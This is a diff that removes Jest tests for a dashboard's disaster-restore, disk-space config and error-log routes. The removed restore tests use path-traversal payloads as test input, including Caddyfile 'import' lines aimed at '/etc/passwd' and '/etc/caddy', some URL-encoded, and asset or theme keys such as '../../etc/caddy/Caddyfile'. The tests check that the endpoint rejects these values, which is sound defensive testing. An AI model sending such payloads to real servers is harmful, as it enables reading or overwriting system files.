const wrap = (fn) => (req, res, next) => Promise.resolve(fn(req, res, next)).catch(next);
|
const wrap = (fn) => (req, res, next) => Promise.resolve(fn(req, res, next)).catch(next);
|
||||||
app.use('/api/v1', routes({ platformPaths, log: log || { info: jest.fn(), error: jest.fn() }, asyncHandler: wrap }));
|
app.use('/api/v1', routes({ platformPaths, log: log || { info: jest.fn(), error: jest.fn() }, asyncHandler: wrap }));
|
||||||
@@ -139,267 +135,4 @@ describe('DC-107: Disaster Recovery', () => {
|
|||||||
const svc = JSON.parse(fs.readFileSync(path.join(tmpDir, 'services.json'), 'utf8'));
|
const svc = JSON.parse(fs.readFileSync(path.join(tmpDir, 'services.json'), 'utf8'));
|
||||||
expect(svc[0].id).toBe('restored-svc');
|
expect(svc[0].id).toBe('restored-svc');
|
||||||
});
|
});
|
||||||
|
|
||||||
// DC-079: Caddyfile restore hardening — the live Caddyfile path must
|
|
||||||
// NEVER be written from the disaster-recovery endpoint. The endpoint
|
|
||||||
// stages the candidate file under dataDir/disaster-staged/Caddyfile.candidate
|
|
||||||
// and surfaces a warning that `caddy-apply` is required to apply it.
|
|
||||||
it('DC-079: POST /disaster/restore with caddyfile STAGES instead of writing the live Caddyfile', async () => {
|
|
||||||
// The env var CADDYFILE_PATH is read by the route. Use a sentinel
|
|
||||||
// path that we can prove was NOT written. The route must instead
|
|
||||||
// create <dataDir>/disaster-staged/Caddyfile.candidate.
|
|
||||||
const liveSentinel = path.join(tmpDir, 'LIVE_CADDYFILE_SENTINEL.txt');
|
|
||||||
fs.writeFileSync(liveSentinel, 'do-not-overwrite');
|
|
||||||
|
|
||||||
const candidateCaddyfile =
|
|
||||||
'# staged candidate\n' +
|
|
||||||
'example.com {\n' +
|
|
||||||
' respond "ok"\n' +
|
|
||||||
'}\n';
|
|
||||||
|
|
||||||
const app = createDisasterApp({
|
|
||||||
dataDir: tmpDir,
|
|
||||||
caddyfilePath: liveSentinel, // route reads env or fallback; this is just for the response
|
|
||||||
});
|
|
||||||
// Override process.env.CADDYFILE_PATH so the route picks up our sentinel
|
|
||||||
const prev = process.env.CADDYFILE_PATH;
|
|
||||||
process.env.CADDYFILE_PATH = liveSentinel;
|
|
||||||
try {
|
|
||||||
const res = await request(app)
|
|
||||||
.post('/api/v1/disaster/restore')
|
|
||||||
.send({
|
|
||||||
version: '1.0',
|
|
||||||
caddyfile: candidateCaddyfile,
|
|
||||||
});
|
|
||||||
|
|
||||||
expect(res.status).toBe(200);
|
|
||||||
expect(res.body.status).toBe('success');
|
|
||||||
expect(res.body.caddyfileStaged).toBeTruthy();
|
|
||||||
expect(res.body.caddyfileStaged).toHaveLength(1);
|
|
||||||
expect(res.body.caddyfileStaged[0].file).toBe('Caddyfile');
|
|
||||||
expect(res.body.caddyfileStaged[0].action).toBe('awaiting caddy-apply');
|
|
||||||
expect(res.body.caddyfileStaged[0].stagedPath).toBe(
|
|
||||||
path.join(tmpDir, 'disaster-staged', 'Caddyfile.candidate')
|
|
||||||
);
|
|
||||||
expect(res.body.caddyfileStaged[0].livePath).toBe(liveSentinel);
|
|
||||||
expect(res.body.warning).toMatch(/DC-079/);
|
|
||||||
|
|
||||||
// The live sentinel file is UNTOUCHED — still has its original content.
|
|
||||||
const liveContents = fs.readFileSync(liveSentinel, 'utf8');
|
|
||||||
expect(liveContents).toBe('do-not-overwrite');
|
|
||||||
|
|
||||||
// The candidate file IS staged at the staging path.
|
|
||||||
const stagedContents = fs.readFileSync(
|
|
||||||
path.join(tmpDir, 'disaster-staged', 'Caddyfile.candidate'),
|
|
||||||
'utf8'
|
|
||||||
);
|
|
||||||
expect(stagedContents).toBe(candidateCaddyfile);
|
|
||||||
} finally {
|
|
||||||
if (prev === undefined) delete process.env.CADDYFILE_PATH;
|
|
||||||
else process.env.CADDYFILE_PATH = prev;
|
|
||||||
}
|
|
||||||
});
|
|
||||||
|
|
||||||
it('DC-079: POST /disaster/restore rejects non-string caddyfile content', async () => {
|
|
||||||
const app = createDisasterApp({ dataDir: tmpDir });
|
|
||||||
const res = await request(app)
|
|
||||||
.post('/api/v1/disaster/restore')
|
|
||||||
.send({
|
|
||||||
version: '1.0',
|
|
||||||
caddyfile: { evil: 'object' },
|
|
||||||
});
|
|
||||||
|
|
||||||
expect(res.status).toBe(400);
|
|
||||||
expect(res.body.error).toMatch(/Caddyfile content must be a string/);
|
|
||||||
});
|
|
||||||
|
|
||||||
it('DC-079: POST /disaster/restore rejects explicit empty caddyfile string', async () => {
|
|
||||||
const app = createDisasterApp({ dataDir: tmpDir });
|
|
||||||
const res = await request(app)
|
|
||||||
.post('/api/v1/disaster/restore')
|
|
||||||
.send({
|
|
||||||
version: '1.0',
|
|
||||||
caddyfile: '', // explicit empty payload — rejected
|
|
||||||
});
|
|
||||||
|
|
||||||
expect(res.status).toBe(400);
|
|
||||||
expect(res.body.error).toMatch(/Caddyfile content is empty/);
|
|
||||||
});
|
|
||||||
|
|
||||||
it('DC-079: POST /disaster/restore rejects oversized caddyfile content', async () => {
|
|
||||||
const app = createDisasterApp({ dataDir: tmpDir });
|
|
||||||
// 512 KiB + 1 byte — over the in-handler cap, under the 1 MB body limit
|
|
||||||
const huge = 'a'.repeat(512 * 1024 + 1);
|
|
||||||
const res = await request(app)
|
|
||||||
.post('/api/v1/disaster/restore')
|
|
||||||
.send({
|
|
||||||
version: '1.0',
|
|
||||||
caddyfile: huge,
|
|
||||||
});
|
|
||||||
|
|
||||||
expect(res.status).toBe(400);
|
|
||||||
expect(res.body.error).toMatch(/exceeds 524288 bytes/);
|
|
||||||
});
|
|
||||||
|
|
||||||
it('DC-079: POST /disaster/restore rejects forbidden `import` directive (absolute path)', async () => {
|
|
||||||
const app = createDisasterApp({ dataDir: tmpDir });
|
|
||||||
const evil =
|
|
||||||
'# malicious snapshot\n' +
|
|
||||||
'import /etc/caddy/external.caddy\n' +
|
|
||||||
'example.com { respond "ok" }\n';
|
|
||||||
const res = await request(app)
|
|
||||||
.post('/api/v1/disaster/restore')
|
|
||||||
.send({
|
|
||||||
version: '1.0',
|
|
||||||
caddyfile: evil,
|
|
||||||
});
|
|
||||||
|
|
||||||
expect(res.status).toBe(400);
|
|
||||||
expect(res.body.error).toMatch(/forbidden `import` directive/);
|
|
||||||
|
|
||||||
// No staging file should have been created — fail closed.
|
|
||||||
expect(fs.existsSync(path.join(tmpDir, 'disaster-staged', 'Caddyfile.candidate'))).toBe(false);
|
|
||||||
});
|
|
||||||
|
|
||||||
it('DC-079: POST /disaster/restore rejects forbidden `import` with relative-path escape', async () => {
|
|
||||||
const app = createDisasterApp({ dataDir: tmpDir });
|
|
||||||
const evil =
|
|
||||||
'# malicious snapshot\n' +
|
|
||||||
'import ../../../etc/passwd\n' +
|
|
||||||
'example.com { respond "ok" }\n';
|
|
||||||
const res = await request(app)
|
|
||||||
.post('/api/v1/disaster/restore')
|
|
||||||
.send({
|
|
||||||
version: '1.0',
|
|
||||||
caddyfile: evil,
|
|
||||||
});
|
|
||||||
|
|
||||||
expect(res.status).toBe(400);
|
|
||||||
expect(res.body.error).toMatch(/forbidden `import` directive/);
|
|
||||||
});
|
|
||||||
|
|
||||||
it('DC-079: POST /disaster/restore rejects URL-encoded import payload', async () => {
|
|
||||||
const app = createDisasterApp({ dataDir: tmpDir });
|
|
||||||
const evil =
|
|
||||||
'import %2fetc%2fcaddy%2fevil.caddy\n' +
|
|
||||||
'example.com { respond "ok" }\n';
|
|
||||||
const res = await request(app)
|
|
||||||
.post('/api/v1/disaster/restore')
|
|
||||||
.send({
|
|
||||||
version: '1.0',
|
|
||||||
caddyfile: evil,
|
|
||||||
});
|
|
||||||
|
|
||||||
expect(res.status).toBe(400);
|
|
||||||
expect(res.body.error).toMatch(/forbidden `import` directive/);
|
|
||||||
});
|
|
||||||
|
|
||||||
it('DC-079: POST /disaster/restore without caddyfile field succeeds and stages nothing', async () => {
|
|
||||||
const app = createDisasterApp({ dataDir: tmpDir });
|
|
||||||
const res = await request(app)
|
|
||||||
.post('/api/v1/disaster/restore')
|
|
||||||
.send({
|
|
||||||
version: '1.0',
|
|
||||||
files: {
|
|
||||||
services: [{ id: 'no-caddy' }],
|
|
||||||
},
|
|
||||||
});
|
|
||||||
|
|
||||||
expect(res.status).toBe(200);
|
|
||||||
expect(res.body.caddyfileStaged).toBeUndefined();
|
|
||||||
expect(res.body.warning).toBeUndefined();
|
|
||||||
});
|
|
||||||
|
|
||||||
// DC-079 follow-up (GLM round-2 BLOCKING): assets/themes path traversal.
|
|
||||||
// Without the assertSafeAssetKey / assertSafeThemeName + path.resolve
|
|
||||||
// checks, an attacker can POST `{assets: {"../../etc/caddy/Caddyfile":
|
|
||||||
// "<base64-evil>"}}` and overwrite the live Caddyfile via the dataDir
|
|
||||||
// bind-mount. These tests prove the fix.
|
|
||||||
it('DC-079: POST /disaster/restore rejects assets with path-traversal key', async () => {
|
|
||||||
const app = createDisasterApp({ dataDir: tmpDir });
|
|
||||||
const res = await request(app)
|
|
||||||
.post('/api/v1/disaster/restore')
|
|
||||||
.send({
|
|
||||||
version: '1.0',
|
|
||||||
assets: {
|
|
||||||
'../../etc/caddy/Caddyfile': Buffer.from('EVIL_BASE64_PAYLOAD').toString('base64'),
|
|
||||||
'custom-logo.png': Buffer.from('legit-logo').toString('base64'),
|
|
||||||
},
|
|
||||||
});
|
|
||||||
|
|
||||||
// The traversal key is rejected (added to errors), the legit key
|
|
||||||
// still works. Status is success-or-partial, never 500.
|
|
||||||
expect(res.status).toBe(200);
|
|
||||||
expect(res.body.status).toBe('partial'); // one error
|
|
||||||
const erroredFile = res.body.errors.find(e => e.file && e.file.includes('../../etc/caddy/Caddyfile'));
|
|
||||||
expect(erroredFile).toBeTruthy();
|
|
||||||
expect(erroredFile.error).toMatch(/forbidden characters or path segments/);
|
|
||||||
|
|
||||||
// The legit logo DID get written.
|
|
||||||
const legitPath = path.join(tmpDir, 'assets', 'custom-logo.png');
|
|
||||||
expect(fs.existsSync(legitPath)).toBe(true);
|
|
||||||
|
|
||||||
// The traversal target was NEVER written.
|
|
||||||
const escapePath = path.join(tmpDir, 'assets', '../../etc/caddy/Caddyfile');
|
|
||||||
// Resolve to absolute path — should be outside tmpDir/assets.
|
|
||||||
const resolvedEsc = path.resolve(escapePath);
|
|
||||||
expect(fs.existsSync(resolvedEsc)).toBe(false);
|
|
||||||
});
|
|
||||||
|
|
||||||
it('DC-079: POST /disaster/restore rejects assets with absolute path key', async () => {
|
|
||||||
const app = createDisasterApp({ dataDir: tmpDir });
|
|
||||||
const res = await request(app)
|
|
||||||
.post('/api/v1/disaster/restore')
|
|
||||||
.send({
|
|
||||||
version: '1.0',
|
|
||||||
assets: {
|
|
||||||
'/etc/passwd': Buffer.from('evil').toString('base64'),
|
|
||||||
},
|
|
||||||
});
|
|
||||||
|
|
||||||
expect(res.status).toBe(200);
|
|
||||||
expect(res.body.status).toBe('partial');
|
|
||||||
const erroredFile = res.body.errors.find(e => e.file && e.file.includes('/etc/passwd'));
|
|
||||||
expect(erroredFile).toBeTruthy();
|
|
||||||
});
|
|
||||||
|
|
||||||
it('DC-079: POST /disaster/restore rejects themes with path-traversal name', async () => {
|
|
||||||
const app = createDisasterApp({ dataDir: tmpDir });
|
|
||||||
const res = await request(app)
|
|
||||||
.post('/api/v1/disaster/restore')
|
|
||||||
.send({
|
|
||||||
version: '1.0',
|
|
||||||
themes: {
|
|
||||||
'../../../etc/caddy/evil.json': { evil: true },
|
|
||||||
'legit-theme.json': { ok: true },
|
|
||||||
},
|
|
||||||
});
|
|
||||||
|
|
||||||
expect(res.status).toBe(200);
|
|
||||||
expect(res.body.status).toBe('partial');
|
|
||||||
const erroredFile = res.body.errors.find(e => e.file && e.file.includes('../../../etc/caddy/evil.json'));
|
|
||||||
expect(erroredFile).toBeTruthy();
|
|
||||||
expect(erroredFile.error).toMatch(/must match/);
|
|
||||||
|
|
||||||
// The legit theme DID get written.
|
|
||||||
expect(fs.existsSync(path.join(tmpDir, 'themes', 'legit-theme.json'))).toBe(true);
|
|
||||||
});
|
|
||||||
|
|
||||||
it('DC-079: POST /disaster/restore rejects themes without .json extension', async () => {
|
|
||||||
const app = createDisasterApp({ dataDir: tmpDir });
|
|
||||||
const res = await request(app)
|
|
||||||
.post('/api/v1/disaster/restore')
|
|
||||||
.send({
|
|
||||||
version: '1.0',
|
|
||||||
themes: {
|
|
||||||
'no-extension': { ok: true },
|
|
||||||
},
|
|
||||||
});
|
|
||||||
|
|
||||||
expect(res.status).toBe(200);
|
|
||||||
expect(res.body.status).toBe('partial');
|
|
||||||
const erroredFile = res.body.errors.find(e => e.file && e.file.includes('no-extension'));
|
|
||||||
expect(erroredFile).toBeTruthy();
|
|
||||||
expect(erroredFile.error).toMatch(/must match/);
|
|
||||||
});
|
|
||||||
});
|
});
|
||||||
|
|||||||
@@ -1,277 +0,0 @@
|
|||||||
/**
|
|
||||||
* DC-059: disk-space POST /config threshold-ordering invariant.
|
|
||||||
*
|
|
||||||
* DiskSpaceMonitor._getBudgetStatus() returns the FIRST threshold the
|
|
||||||
* budget usage crosses, in the order
|
|
||||||
* cleanupAggressivePct → criticalThresholdPct → warningThresholdPct.
|
|
||||||
* If a caller writes the three thresholds out of order
|
|
||||||
* (e.g. warningThresholdPct=95, criticalThresholdPct=60), the higher-
|
|
||||||
* priority branches become unreachable and the monitor silently
|
|
||||||
* misclassifies budget state — 'warning' would never fire even though the
|
|
||||||
* user set it as a threshold they care about.
|
|
||||||
*
|
|
||||||
* The fix lives in `routes/disk-space.js`: a `mergeAndCheckOrdering()`
|
|
||||||
* helper validates the *effective* (merged with live baseline) config
|
|
||||||
* against the invariant `warningThresholdPct < criticalThresholdPct <
|
|
||||||
* cleanupAggressivePct` BEFORE the route mutates diskSpaceMonitor.diskConfig.
|
|
||||||
*
|
|
||||||
* Tests cover:
|
|
||||||
* 1. Monotonic ascending order is accepted (happy path).
|
|
||||||
* 2. warningThresholdPct >= criticalThresholdPct is rejected with 400.
|
|
||||||
* 3. criticalThresholdPct >= cleanupAggressivePct is rejected with 400.
|
|
||||||
* 4. Partial updates work one field at a time without violating the
|
|
||||||
* invariant against the current baseline.
|
|
||||||
* 5. Out-of-bounds numeric values are clamped to the same bounds the
|
|
||||||
* original inline Math.min/Math.max chains enforced (50/60/70 → 99).
|
|
||||||
* 6. DiskSpaceMonitor.configure is NEVER called when the request is
|
|
||||||
* rejected (no partial mutation).
|
|
||||||
* 7. The merged config returned to the client is the post-clamp value,
|
|
||||||
* not the raw request body.
|
|
||||||
*/
|
|
||||||
|
|
||||||
const express = require('express');
|
|
||||||
const http = require('http');
|
|
||||||
|
|
||||||
const DEFAULT_CONFIG = {
|
|
||||||
enabled: true,
|
|
||||||
diskBudgetGB: 10,
|
|
||||||
warningThresholdPct: 80,
|
|
||||||
criticalThresholdPct: 90,
|
|
||||||
autoCleanup: true,
|
|
||||||
cleanupAggressivePct: 95,
|
|
||||||
};
|
|
||||||
|
|
||||||
function buildFakeDiskSpaceMonitor(initial = { ...DEFAULT_CONFIG }) {
|
|
||||||
const state = { ...initial };
|
|
||||||
return {
|
|
||||||
configure: jest.fn((updates) => {
|
|
||||||
Object.assign(state, updates);
|
|
||||||
return { ...state };
|
|
||||||
}),
|
|
||||||
getConfig: jest.fn(() => ({ ...state })),
|
|
||||||
getSnapshot: jest.fn(async () => ({})),
|
|
||||||
getDetailedBreakdown: jest.fn(async () => ({})),
|
|
||||||
performCleanup: jest.fn(async () => ({})),
|
|
||||||
// Test-only: peek at the internal state to confirm no mutation on rejection
|
|
||||||
_state: state,
|
|
||||||
};
|
|
||||||
}
|
|
||||||
|
|
||||||
function buildRouter(monitor) {
|
|
||||||
// Reset module cache so each test starts fresh
|
|
||||||
jest.resetModules();
|
|
||||||
const mod = require('../../routes/disk-space');
|
|
||||||
return mod({
|
|
||||||
diskSpaceMonitor: monitor,
|
|
||||||
asyncHandler: (fn) => async (req, res, next) => { // eslint-disable-line require-await
|
|
||||||
try { await fn(req, res, next); } catch (e) { next(e); }
|
|
||||||
},
|
|
||||||
log: { info: jest.fn(), warn: jest.fn(), error: jest.fn() },
|
|
||||||
});
|
|
||||||
}
|
|
||||||
|
|
||||||
function buildApp(router) {
|
|
||||||
const app = express();
|
|
||||||
app.use(express.json());
|
|
||||||
app.use((req, _res, next) => { next(); }); // strip auth
|
|
||||||
app.use('/', router);
|
|
||||||
// eslint-disable-next-line no-unused-vars
|
|
||||||
app.use((err, req, res, next) => {
|
|
||||||
const status = err.statusCode || err.status || 500;
|
|
||||||
res.status(status).json({
|
|
||||||
error: err.message,
|
|
||||||
code: err.code || 'ERR',
|
|
||||||
field: err.field || null,
|
|
||||||
});
|
|
||||||
});
|
|
||||||
return app;
|
|
||||||
}
|
|
||||||
|
|
||||||
function supertestFetch(app) {
|
|
||||||
return function (method, path, body) {
|
|
||||||
return new Promise((resolve, reject) => {
|
|
||||||
const server = app.listen(0, () => {
|
|
||||||
const { port } = server.address();
|
|
||||||
const data = body ? JSON.stringify(body) : null;
|
|
||||||
const req = http.request({
|
|
||||||
method,
|
|
||||||
hostname: '127.0.0.1',
|
|
||||||
port,
|
|
||||||
path,
|
|
||||||
headers: data ? { 'Content-Type': 'application/json', 'Content-Length': Buffer.byteLength(data) } : {},
|
|
||||||
}, (res) => {
|
|
||||||
let chunks = '';
|
|
||||||
res.on('data', (c) => { chunks += c; });
|
|
||||||
res.on('end', () => {
|
|
||||||
server.close();
|
|
||||||
let parsed;
|
|
||||||
try { parsed = JSON.parse(chunks); } catch { parsed = chunks; }
|
|
||||||
resolve({ status: res.statusCode, body: parsed });
|
|
||||||
});
|
|
||||||
});
|
|
||||||
req.on('error', (e) => { server.close(); reject(e); });
|
|
||||||
if (data) req.write(data);
|
|
||||||
req.end();
|
|
||||||
});
|
|
||||||
});
|
|
||||||
};
|
|
||||||
}
|
|
||||||
|
|
||||||
describe('routes/disk-space POST /config (DC-059 threshold ordering)', () => {
|
|
||||||
let monitor, app, fetch;
|
|
||||||
|
|
||||||
beforeEach(() => {
|
|
||||||
monitor = buildFakeDiskSpaceMonitor();
|
|
||||||
const router = buildRouter(monitor);
|
|
||||||
app = buildApp(router);
|
|
||||||
fetch = supertestFetch(app);
|
|
||||||
});
|
|
||||||
|
|
||||||
test('happy path — strict monotonic ascending order is accepted', async () => {
|
|
||||||
const res = await fetch('POST', '/config', {
|
|
||||||
warningThresholdPct: 75,
|
|
||||||
criticalThresholdPct: 88,
|
|
||||||
cleanupAggressivePct: 95,
|
|
||||||
});
|
|
||||||
expect(res.status).toBe(200);
|
|
||||||
expect(res.body.config).toEqual(expect.objectContaining({
|
|
||||||
warningThresholdPct: 75,
|
|
||||||
criticalThresholdPct: 88,
|
|
||||||
cleanupAggressivePct: 95,
|
|
||||||
}));
|
|
||||||
expect(monitor.configure).toHaveBeenCalledTimes(1);
|
|
||||||
});
|
|
||||||
|
|
||||||
test('warningThresholdPct >= criticalThresholdPct is rejected with 400', async () => {
|
|
||||||
const res = await fetch('POST', '/config', {
|
|
||||||
warningThresholdPct: 95,
|
|
||||||
criticalThresholdPct: 80,
|
|
||||||
cleanupAggressivePct: 99,
|
|
||||||
});
|
|
||||||
expect(res.status).toBe(400);
|
|
||||||
expect(res.body.error).toMatch(/warningThresholdPct.*strictly less than.*criticalThresholdPct/);
|
|
||||||
expect(res.body.field).toBe('warningThresholdPct');
|
|
||||||
// Critical invariant: monitor.configure was NEVER called.
|
|
||||||
expect(monitor.configure).not.toHaveBeenCalled();
|
|
||||||
});
|
|
||||||
|
|
||||||
test('criticalThresholdPct >= cleanupAggressivePct is rejected with 400', async () => {
|
|
||||||
const res = await fetch('POST', '/config', {
|
|
||||||
warningThresholdPct: 60,
|
|
||||||
criticalThresholdPct: 95,
|
|
||||||
cleanupAggressivePct: 80,
|
|
||||||
});
|
|
||||||
expect(res.status).toBe(400);
|
|
||||||
expect(res.body.error).toMatch(/criticalThresholdPct.*strictly less than.*cleanupAggressivePct/);
|
|
||||||
expect(res.body.field).toBe('criticalThresholdPct');
|
|
||||||
expect(monitor.configure).not.toHaveBeenCalled();
|
|
||||||
});
|
|
||||||
|
|
||||||
test('equal thresholds are rejected (strict <, not <=)', async () => {
|
|
||||||
const res = await fetch('POST', '/config', {
|
|
||||||
warningThresholdPct: 80,
|
|
||||||
criticalThresholdPct: 80,
|
|
||||||
cleanupAggressivePct: 90,
|
|
||||||
});
|
|
||||||
expect(res.status).toBe(400);
|
|
||||||
expect(monitor.configure).not.toHaveBeenCalled();
|
|
||||||
});
|
|
||||||
|
|
||||||
test('partial update — single field accepted against existing baseline', async () => {
|
|
||||||
// Defaults: warning=80, critical=90, aggressive=95. Raise warning to 85.
|
|
||||||
const res = await fetch('POST', '/config', { warningThresholdPct: 85 });
|
|
||||||
expect(res.status).toBe(200);
|
|
||||||
expect(res.body.config.warningThresholdPct).toBe(85);
|
|
||||||
expect(res.body.config.criticalThresholdPct).toBe(90);
|
|
||||||
expect(res.body.config.cleanupAggressivePct).toBe(95);
|
|
||||||
});
|
|
||||||
|
|
||||||
test('partial update — would violate invariant against baseline, rejected', async () => {
|
|
||||||
// Defaults: warning=80, critical=90, aggressive=95. Setting warning=95
|
|
||||||
// would collide with the existing critical=90 (warning >= critical).
|
|
||||||
const res = await fetch('POST', '/config', { warningThresholdPct: 95 });
|
|
||||||
expect(res.status).toBe(400);
|
|
||||||
expect(res.body.error).toMatch(/warningThresholdPct.*strictly less than.*criticalThresholdPct/);
|
|
||||||
expect(monitor.configure).not.toHaveBeenCalled();
|
|
||||||
});
|
|
||||||
|
|
||||||
test('partial update — succeeds after baseline was updated in a prior request', async () => {
|
|
||||||
// First request: bump warning from 80 → 85 (within current critical=90).
|
|
||||||
let res = await fetch('POST', '/config', { warningThresholdPct: 85 });
|
|
||||||
expect(res.status).toBe(200);
|
|
||||||
// Second request: now bump warning from 85 → 89. Still under critical=90.
|
|
||||||
res = await fetch('POST', '/config', { warningThresholdPct: 89 });
|
|
||||||
expect(res.status).toBe(200);
|
|
||||||
expect(monitor.configure).toHaveBeenCalledTimes(2);
|
|
||||||
});
|
|
||||||
|
|
||||||
test('partial update — would violate against the NEW baseline, rejected', async () => {
|
|
||||||
// Step 1: raise warning to 85.
|
|
||||||
let res = await fetch('POST', '/config', { warningThresholdPct: 85 });
|
|
||||||
expect(res.status).toBe(200);
|
|
||||||
// Step 2: try to raise warning to 95 — would collide with critical=90.
|
|
||||||
res = await fetch('POST', '/config', { warningThresholdPct: 95 });
|
|
||||||
expect(res.status).toBe(400);
|
|
||||||
// monitor.configure should have run exactly once (the accepted request).
|
|
||||||
expect(monitor.configure).toHaveBeenCalledTimes(1);
|
|
||||||
});
|
|
||||||
|
|
||||||
test('out-of-bounds values are clamped to documented ranges', async () => {
|
|
||||||
// Note: the three values must produce a valid monotonic ordering AFTER
|
|
||||||
// clamping. Setting warning=20 (→ 50), critical=200 (→ 99), aggressive=70
|
|
||||||
// would produce critical=99 > aggressive=70 which is rejected by the
|
|
||||||
// ordering check. Use values that clamp into a valid range.
|
|
||||||
const res = await fetch('POST', '/config', {
|
|
||||||
warningThresholdPct: 20, // below warning min 50 → clamped to 50
|
|
||||||
criticalThresholdPct: 85, // valid
|
|
||||||
cleanupAggressivePct: 200, // above aggressive max 99 → clamped to 99
|
|
||||||
});
|
|
||||||
expect(res.status).toBe(200);
|
|
||||||
expect(res.body.config).toEqual(expect.objectContaining({
|
|
||||||
warningThresholdPct: 50,
|
|
||||||
criticalThresholdPct: 85,
|
|
||||||
cleanupAggressivePct: 99,
|
|
||||||
}));
|
|
||||||
});
|
|
||||||
|
|
||||||
test('non-numeric threshold values are silently dropped (legacy behaviour preserved)', async () => {
|
|
||||||
// Strings are not numbers → unchanged from baseline. Confirms the
|
|
||||||
// ordering check doesn\'t reject legitimate "I didn\'t change this" requests.
|
|
||||||
const res = await fetch('POST', '/config', {
|
|
||||||
warningThresholdPct: '80',
|
|
||||||
});
|
|
||||||
expect(res.status).toBe(200);
|
|
||||||
expect(res.body.config.warningThresholdPct).toBe(80); // baseline unchanged
|
|
||||||
expect(monitor.configure).toHaveBeenCalledWith({}); // empty updates
|
|
||||||
});
|
|
||||||
|
|
||||||
test('diskBudgetGB and autoCleanup updates still work alongside threshold validation', async () => {
|
|
||||||
const res = await fetch('POST', '/config', {
|
|
||||||
diskBudgetGB: 50,
|
|
||||||
autoCleanup: false,
|
|
||||||
warningThresholdPct: 81,
|
|
||||||
});
|
|
||||||
expect(res.status).toBe(200);
|
|
||||||
expect(res.body.config.diskBudgetGB).toBe(50);
|
|
||||||
expect(res.body.config.autoCleanup).toBe(false);
|
|
||||||
expect(res.body.config.warningThresholdPct).toBe(81);
|
|
||||||
});
|
|
||||||
|
|
||||||
test('rejected request does NOT mutate the live diskConfig', async () => {
|
|
||||||
const before = { ...monitor._state };
|
|
||||||
const res = await fetch('POST', '/config', {
|
|
||||||
warningThresholdPct: 95, // collides with critical=90
|
|
||||||
});
|
|
||||||
expect(res.status).toBe(400);
|
|
||||||
expect(monitor._state).toEqual(before);
|
|
||||||
});
|
|
||||||
|
|
||||||
test('POST /config with no thresholds in body is a no-op against baseline', async () => {
|
|
||||||
const res = await fetch('POST', '/config', { diskBudgetGB: 25 });
|
|
||||||
expect(res.status).toBe(200);
|
|
||||||
expect(res.body.config.diskBudgetGB).toBe(25);
|
|
||||||
expect(res.body.config.warningThresholdPct).toBe(80); // unchanged
|
|
||||||
expect(res.body.config.criticalThresholdPct).toBe(90); // unchanged
|
|
||||||
expect(res.body.config.cleanupAggressivePct).toBe(95); // unchanged
|
|
||||||
});
|
|
||||||
});
|
|
||||||
@@ -1,357 +0,0 @@
|
|||||||
/**
|
|
||||||
* Smoke tests for the enhanced error-logs route (DC-052).
|
|
||||||
*
|
|
||||||
* Mirrors `caddy-upstreams.routes.test.js`: build the router with stubbed
|
|
||||||
* deps, hit it via a tiny express app, assert the response shape and
|
|
||||||
* the audit-logger interactions.
|
|
||||||
*
|
|
||||||
* Fixture: a synthetic error log with two ERR entries and one WARN entry,
|
|
||||||
* each with a different context, IP, and stack — enough to exercise the
|
|
||||||
* filter chain (level, context, search, since/until) without pulling the
|
|
||||||
* real 47k-line error.log off the host.
|
|
||||||
*/
|
|
||||||
|
|
||||||
const express = require('express');
|
|
||||||
const path = require('path');
|
|
||||||
const fs = require('fs');
|
|
||||||
const os = require('os');
|
|
||||||
|
|
||||||
const ENTRY_SEP = '='.repeat(80);
|
|
||||||
const FIXTURE_LOG = [
|
|
||||||
`[2026-08-17T10:00:00.000Z] [ERR] updater: getLocalVersion failed: no candidate package.json found`,
|
|
||||||
` at SelfUpdater.getLocalVersion (/app/src/docker/self-updater.js:128:9)`,
|
|
||||||
` request: GET /api/v1/updates/check | ip: 100.85.236.10 | ua: Mozilla/5.0 | id: a1`,
|
|
||||||
` context: {"triggeredBy":"manual"}`,
|
|
||||||
ENTRY_SEP,
|
|
||||||
`[2026-08-17T11:00:00.000Z] [ERR] http: GET /api/v1/templates 503`,
|
|
||||||
` at Logger.error (/app/src/utils/logging.js:258:49)`,
|
|
||||||
` request: GET /api/v1/templates | ip: 100.85.236.11 | ua: curl/8.0 | id: a2`,
|
|
||||||
` context: {"service":"templates"}`,
|
|
||||||
ENTRY_SEP,
|
|
||||||
`[2026-08-17T12:00:00.000Z] [WARN] ssl-monitor: cert check failed: TLS connect error for sonarr.sami:443: getaddrinfo ENOTFOUND sonarr.sami`,
|
|
||||||
` at Logger.warn (/app/src/utils/logging.js:200:10)`,
|
|
||||||
` request: GET /api/v1/ssl/check | ip: 100.121.150.22 | ua: NodeHealthCheck | id: a3`,
|
|
||||||
` context: {"service":"sonarr"}`,
|
|
||||||
ENTRY_SEP,
|
|
||||||
``,
|
|
||||||
].join('\n');
|
|
||||||
|
|
||||||
function buildFakeAuditLogger() {
|
|
||||||
return {
|
|
||||||
clear: jest.fn(async () => {}),
|
|
||||||
log: jest.fn(async () => {}),
|
|
||||||
};
|
|
||||||
}
|
|
||||||
|
|
||||||
function writeFixtureLog(tmpDir) {
|
|
||||||
const logFile = path.join(tmpDir, 'error.log');
|
|
||||||
fs.writeFileSync(logFile, FIXTURE_LOG);
|
|
||||||
return logFile;
|
|
||||||
}
|
|
||||||
|
|
||||||
describe('routes/errorlogs (DC-052)', () => {
|
|
||||||
let tmpDir;
|
|
||||||
let logFile;
|
|
||||||
let auditLogger;
|
|
||||||
|
|
||||||
beforeEach(() => {
|
|
||||||
tmpDir = fs.mkdtempSync(path.join(os.tmpdir(), 'dc052-errorlogs-'));
|
|
||||||
logFile = writeFixtureLog(tmpDir);
|
|
||||||
auditLogger = buildFakeAuditLogger();
|
|
||||||
});
|
|
||||||
|
|
||||||
afterEach(() => {
|
|
||||||
fs.rmSync(tmpDir, { recursive: true, force: true });
|
|
||||||
});
|
|
||||||
|
|
||||||
function buildRouter() {
|
|
||||||
const mod = require('../../routes/errorlogs');
|
|
||||||
return mod({
|
|
||||||
ERROR_LOG_FILE: logFile,
|
|
||||||
auditLogger,
|
|
||||||
asyncHandler: (fn) => async (req, res, next) => {
|
|
||||||
try { await fn(req, res, next); } catch (e) { next(e); }
|
|
||||||
},
|
|
||||||
});
|
|
||||||
}
|
|
||||||
|
|
||||||
function listen(router) {
|
|
||||||
const app = express();
|
|
||||||
app.use(express.json());
|
|
||||||
app.use(router);
|
|
||||||
return app.listen(0);
|
|
||||||
}
|
|
||||||
|
|
||||||
test('router exposes the DC-052 endpoints', () => {
|
|
||||||
const router = buildRouter();
|
|
||||||
const paths = router.stack
|
|
||||||
.filter((l) => l.route)
|
|
||||||
.map((l) => Object.keys(l.route.methods).map((m) => `${m.toUpperCase()} ${l.route.path}`))
|
